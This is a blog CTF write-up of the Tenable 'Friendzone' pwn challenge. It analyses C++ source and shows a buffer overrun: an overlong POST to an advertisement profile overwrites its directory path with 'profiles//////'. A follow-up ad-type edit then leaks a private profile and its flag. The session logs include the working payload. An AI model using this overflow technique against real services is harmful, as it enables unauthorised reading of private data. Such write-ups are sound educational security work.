Welcome to the Debugmen blog. We use this site to post tools, security findings, CTF writeups and anything else we find worthy of release to the public.

Tenable CTF: Welcome to The Friendzone

Welcome to The Friendzone

‘Welcome to The Friendzone’ was a Pwn challenge where you are only given source rather than an executable. The basic vulnerability is based on a buffer overrun but thankfully it does not require RCE to get the flag, because that would be quite a pain without knowing the exact compiler and flags used.

First Look

The challenge text asked us to view the private profile of one of the users. We’ll start by connecting to the service.

We see the program load some user profiles from what looks like filesystem paths and then presents us with a menu of options:

$ nc challenges.ctfd.io 30481
Loading profiles/friendzone_ceo profile data...
Loading profiles/car_ads profile data...
Loading profiles/katie_humphries profile data...
Loading profiles/tech_ads profile data...
Loading profiles/BiscuitsCoffee profile data...
Loading profiles/waygu_store profile data...
Loading profiles/douglas_schmelkov profile data...
Loading profiles/food_ads profile data...
 _____     _                _ _____ 
|  ___| __(_) ___ _ __   __| |__  /___  _ __   ___ 
| |_ | '__| |/ _ \ '_ \ / _` | / // _ \| '_ \ / _ \
|  _|| |  | |  __/ | | | (_| |/ /| (_) | | | |  __/
|_|  |_|  |_|\___|_| |_|\__,_/____\___/|_| |_|\___|
--------------------------------------------------------------------------------
Welcome to Friendzone Social Media! The leader in most advertisements.
--------------------------------------------------------------------------------

---------------------------------------------------------
Portal Options

-CREATE_PROFILE <personal|business>
-LIST_USERS
-VIEW_PROFILE <profile_id>
-POST <profile_id>>
-EDIT_PROFILE <profile_id>

---------------------------------------------------------


cmd>

The LIST_PROFILES command shows a list of profile IDs, including profile ID 6. If we try to view profile ID 6 using, the VIEW_PROFILE command, we are told that all profiles below ID 100 are private. This gives us a good indication that profile 6 is what we are after.

The source.zip provided contained a flat directory of .cpp and .h files:

Account.cpp
Account.h
AdEnabledAccount.cpp
AdEnabledAccount.h
Advertisement.cpp
Advertisement.h
Business.cpp
Business.h
Console.cpp
Console.h
Database.cpp
Database.h
Friendzone.cpp
Friendzone.md
User.cpp
User.h

Compiling this was as easy as g++ *.cpp *.h -o friendzone, but as we will see most of the interesting parts require additional file resources that weren’t provided so I spent most of my time interacting with the server instead.

I started by just diving into the source code and trying to map features of the CLI interface to the code while looking for any obvious issues. Console.cpp is the main interface and implements all of the parsing of user commands. One comment in Console.cpp really stuck out as weird:

	// Advertisements are accounts but shouldnt be viewable as if they were a user/business
	if (act->GetProfileType() == ProfileType::ADVERTISEMENT) {
		Error("Unable to view account because account is Advertiser - no profile data to see!");
		return;
	}

As far as I could tell it made no sense to implement ads as accounts but it wasn’t immediately obvious what to do with that information yet.

Another weird thing was that whenever a user or business creates an account they get to decide the type of ads they would like other users to see when viewing their profile.

And finally, what kind of ads would you like to be shown to visitors that visit your profile?

auto
food
tech

Looking at the source code, we can see that these options are loaded from an advertisements directory.

// Advertisement.cpp:23
bool Advertisement::IsAdTypeValid(string ad_type) {
	// prevent directory traversal
	if (ad_type.find(".") != std::string::npos || ad_type.find("\\") != std::string::npos || ad_type.find("/") != std::string::npos)
		return false;
	
	//check ad_type file exists in advertisers_directory
	FILE* fp = fopen(string(advertisers_directory + ad_type).c_str(), "r");

	if (fp != NULL)
		return true;
	return false;
}

The advertisers_directory attribute is defined in Advertisements.h:

// Advertisement.h:7
class Advertisement : public Account {
	
public:
	char ad_text[0xf00];
    char advertisers_directory[0x100] = "advertisements/";
	string ad_type;
	Advertisement(string ad_type);
	bool ChangeAdType(string ad_type);
	bool IsAdTypeValid(string ad_type);
	string GetAdType();
	string GetAdText();
};

Here we can also confirm that the Advertisement class is indeed a subclass of Account.

Now that I knew ads are stored in a directory and that the user profiles were stored in another directory profiles/, I figured that this must be the way to access the private profile.

All Accounts in the system (User and Business) are subclasses of AdEnabledAccount, which itself subclasses Account.

Looking at AdEnabledAccount.h, we find exactly what we are looking for:

// AdEnabledAccount.h:7
class AdEnabledAccount : public Account {
public:
	char last_post[0x1000];
	string status;
	string ad_type;
	vector<string> posts;
	AdEnabledAccount(ProfileType profile_type, string ad_type);
	void AddPost(string post);
};

The Exploit

AdEnabledAccount has a field char last_post[0x1000]. Looking at Advertisement, we see that it’s first field is char ad_text[0xf00] followed by char advertisers_directory[0x100] = "advertisements/";.

The fact that the sizes of ad_text and advertisers_directory sum perfectly to 0x1000 is too much of a coincidence, there must be a way that we use this to overwrite the advertisers_directory.

One quick “Find References” away and we find that the last_post field is written to when using the POST command!

// Console.cpp:444
void Console::HandlePost() {
	// Read user post message
	do {
		cout << "What would you like to post to " + db->GetProfileData(profile_id)->account_name + " wall?" << endl << endl<<"post>";
		getline(cin, post_msg);
		if (post_msg.length() < 0x1000) {
			valid_response_flag = true;
			memset(((AdEnabledAccount*)db->GetProfileData(profile_id))->last_post, 0, 0x1000);
			memcpy(((AdEnabledAccount*)db->GetProfileData(profile_id))->last_post, post_msg.c_str(), post_msg.length());
		}
		else {
			Error("Invalid! too long post.");
		}
	} while (!valid_response_flag);

}

And what’s more, there is no validation of which profile ID we write to, meaning we can post on the “wall” of an Advertisement and write up to 0x1000 bytes of the ad_text and advertisers_directory fields.

Attempting to view an ad as a profile returns the error we saw earlier so it was fairly easy to identify which profiles were ads.

Next I overwrote the advertisers_directory field of the first ad profile with profiles////////////// in order to point the ad loading code towards the user profiles. I added the slashes to guarantee that I had fully overwritten the previous text and because fopen interprets them the same way as a single slash. Through trial and error I found which ad type it was by changing the ad_type for my profile until I received an error message that the ad could not be found:

cmd>CREATE_PROFILE personal
User Name>asdf

*********Welcome asdf! Let's get your general location**********

Enter your city, state>asdf
Enter your Gender>asdf
Enter your Age>asdf

Invalid! age must be number.

Enter your Age>10
And finally, what kind of ads would you like to be shown to visitors that visit your profile?

auto
food
tech

Enter an AdType>tech
Welcome to FriendZone asdf! (profile_id:1142332565)
---------------------------------------------------------
Portal Options

-CREATE_PROFILE <personal|business>
-LIST_USERS
-VIEW_PROFILE <profile_id>
-POST <profile_id>>
-EDIT_PROFILE <profile_id>

---------------------------------------------------------


cmd>POST 35529
What would you like to post to  wall?

post>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAprofiles//////////////////////////
---------------------------------------------------------
Portal Options

-CREATE_PROFILE <personal|business>
-LIST_USERS
-VIEW_PROFILE <profile_id>
-POST <profile_id>>
-EDIT_PROFILE <profile_id>

---------------------------------------------------------


cmd>VIEW_PROFILE 1142332565
Navigating to asdf... but first an ad!

*******************************************************************************************************

* 404 - NO_AD_FOUND! This is a bug, please report to FriendZone support.

*******************************************************************************************************

Next, I had to find a way to display the profile data for Profile ID 6 instead of 404ing. Luckily, the EDIT_PROFILE command lets us edit an ad account in order to change the type of ad it displays. If you enter an invalid ad (i.e. a file of that name does not exist) the system returns an error. I guessed that the friendzone_ceo profile was one we were supposed to go after and entered that as the ad_type for the ad I had corrupted:

cmd>EDIT_PROFILE 35529
What new ad type should this be?

ad_type>friendzone_ceo
---------------------------------------------------------

No error came back which means it worked! Once we view our ad it should load the friendzone_ceo’s profile data.

I created a new profile and as expected, friendzone_ceo appeared as a possible ad type:

cmd>CREATE_PROFILE personal
User Name>asdf

*********Welcome asdf! Let's get your general location**********

Enter your city, state>asdf
Enter your Gender>asdf
Enter your Age>10
And finally, what kind of ads would you like to be shown to visitors that visit your profile?

auto
food
friendzone_ceo

Enter an AdType>friendzone_ceo
Welcome to FriendZone asdf! (profile_id:175976113)

Finally, I used the VIEW_PROFILE command to view the profile ID that I had just created:

cmd>VIEW_PROFILE 175976113
Navigating to asdf... but first an ad!

*******************************************************************************************************

* 0|Alec Trevelyan|006|???|32|M|!INTERNAL FRIENDZONE EMPLOYES ONLY!|flag{w3_n33d_m0re_d@ta_2_s311}|auto


*******************************************************************************************************